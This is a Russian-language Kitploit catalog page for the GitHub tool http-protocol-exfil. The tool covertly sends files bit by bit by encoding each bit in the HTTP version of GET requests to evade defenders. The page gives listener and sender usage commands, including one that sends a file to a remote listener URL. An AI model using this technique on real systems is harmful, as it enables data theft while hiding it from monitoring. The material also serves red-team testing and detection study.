Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
http-protocol-exfil — Экспортировать файлы, используя версию протокола HTTP ("HTTP/1.0" соответствует 0, а "HTTP/1.1" соответствует 1). | Kitploit
Инструменты/GitHubGitHub/ricardojoserf/http-protocol-exfil
Эксфильтрация данныхСетевая безопасность
GitHubricardojoserf/http-protocol-exfil

http-protocol-exfil

Экспортировать файлы, используя версию протокола HTTP ("HTTP/1.0" соответствует 0, а "HTTP/1.1" соответствует 1).

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
24224 лет назадПроверено Kitploit

http-protocol-exfil

Используйте версию HTTP-протокола для отправки файла побитово ("HTTP/1.0" — это 0, а "HTTP/1.1" — это 1). Используются GET-запросы, поэтому Синяя команда увидит только запросы к вашему IP-адресу. Однако отправка больших файлов занимает много времени; например, для отправки 200 КБ требуется 1 час, а количество запросов будет очень большим (в 8 раз больше количества байт в файле).

memillo

Создание прослушивателя

Чтобы запустить прослушиватель, используйте listener.py с одним необязательным аргументом: портом, на котором он будет слушать.

root@kitploit:~
python3 listener.py [PORT]

Пример:

root@kitploit:~
python3 listener.py 8080

Отправка файла

Чтобы отправить файл, используйте sender.py с двумя обязательными аргументами: путём к файлу и URL прослушивателя; и одним необязательным аргументом: именем создаваемого удалённого файла (если не указано, используется имя входного файла).

root@kitploit:~
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]

Пример:

root@kitploit:~
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt

Пример

Сначала файл отправляется:

image1

Если переменная debug установлена в True (по умолчанию она True), вы можете видеть двоичные значения в сообщениях журнала прослушивателя:

image2

Новый файл создаётся с содержимым входного файла:

image3


Мотивация

Я думаю (но не уверен), что читал кого-то в Twitter, кто утверждал, что использовал это для эксфильтрации данных, и мне понравилась идея. Если вы тот человек, дайте мне знать.

Скачать инструмент